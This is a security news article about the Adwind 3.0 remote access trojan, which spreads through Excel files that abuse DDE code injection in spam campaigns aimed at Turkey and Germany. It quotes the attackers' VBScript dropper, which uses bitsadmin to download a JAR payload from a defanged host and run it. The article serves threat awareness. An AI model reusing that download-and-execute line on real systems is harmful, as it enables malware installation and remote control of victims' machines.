Saturday, December 2, 2023

New Adwind RAT Attack Linux, Windows and Mac via DDE Code Injection Technique by Evading Antivirus Software

New Adwind 3.0 RAT (Remote access Trojan) Evolving with new sophisticated capabilities, unlike old version it mainly attacks desktop version of  Linux, Windows and Mac OSX using DDE code injection technique.

Attackers are using weaponized Microsoft Office documents to compromise the targeted victims and also new capabilities that able to avoid detection by anti-virus software.

This attack mainly targeting Turkey and Germany via malicious spam email campaign which is started on Aug. 26, 2018, peaking on Aug. 28.

Previous version Adwind Widely spreading via A360 Cloud Drive Platform Abuse for Delivering Remote Access Trojans and used as a Malware Distributing Platform by using a File-sharing site to host Malware.

Another scenario Cross-platform Remote Access Trojan “Adwind” Steal Credentials, Record and Harvest keystrokes the Aerospace Industries Data.

Adwind 3.0 RAT can able to, log keystroke, take screenshots, take pictures or transfer files execute any kind of commands on its victims.

Adwind 3.0 RAT Code Injection Technique Scenario 

An initial stage of attack starts with the malicious spam emails with the body content written in the Turkish language along with an attachment of either CSV file or.XLT file.

Both campaign opened by Microsoft Excel by default and both files are capable of performing DDE code injection attack.

In this case, malicious dropper has the various malicious format in below list and note that all the extension will be opened by default in Microsoft Excel Document but non-default extensions, a script starting Excel with a file with one of these extensions as a parameter is still a viable attack scenario.

Once the victims will open the Excel file then it will display warnings to the user regarding the execution of code and it warned the user executing the different file format and the file will probably be corrupted if you’re open the file.

Another warning will displays that the document will execute the application “CMD.exe.” and once the user accepts the warnings, the system will open the calculator application.

The main purpose of the code injection technique used by attackers to create and execute a VBScript in specific content.

Set WXWYKNRG = CreateObject("Wscript.Shell")
WXWYKNRG.Run "cmd /c bitsadmin /transfer 8 /download hxxp://erayinsaat[.]live
%temp%\NMUWYTGO.jar&%temp%\NMUWYTGO.jar",0,True

Later it drops the final payload which is a is a Java archive file and the attacker packed this java payload using  “Allatori Obfuscator “ and the further research confirms that the packed malware as Adwind RAT v3.0.

According to Cisco Talos research, It’s a well-known multiplatform RAT with several configurations possible. The samples we tested were configured to achieve persistence on Windows, Linux and Mac OSX. Each platform has its own persistence name.

Website

Latest articles

Active Attacks Targeting Google Chrome & ownCloud Flaws: CISA Warns

The CISA announced two known exploited vulnerabilities active attacks targeting Google Chrome & own...

Cactus Ransomware Exploiting Qlik Sense code execution Vulnerability

A new Cactus Ransomware was exploited in the code execution vulnerability to Qlik Sense...

Hackers Bypass Antivirus with ScrubCrypt Tool to Install RedLine Malware

The ScrubCrypt obfuscation tool has been discovered to be utilized in attacks to disseminate the RedLine Stealer...

Hotel’s Booking.com Hacked Logins Let Attacker Steal Guest Credit Cards

According to a recent report by Secureworks, a well-planned and advanced phishing attack was...

Critical Zoom Vulnerability Let Attackers Take Over Meetings

Zoom, the most widely used video conferencing platform has been discovered with a critical...

Hackers Using Weaponized Invoice to Deliver LUMMA Malware

Hackers use weaponized invoices to exploit trust in financial transactions, embedding malware or malicious...

US-Seized Crypto Currency Mixer Used by North Korean Lazarus Hackers

The U.S. Treasury Department sanctioned the famous cryptocurrency mixer Sinbad after it was claimed...
Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

API Attack Simulation Webinar

Live API Attack Simulation

In the upcoming webinar, Karthik Krishnamoorthy, CTO and Vivek Gopalan, VP of Products at Indusface demonstrate how APIs could be hacked.The session will cover:an exploit of OWASP API Top 10 vulnerability, a brute force account take-over (ATO) attack on API, a DDoS attack on an API, how a WAAP could bolster security over an API gateway

Related Articles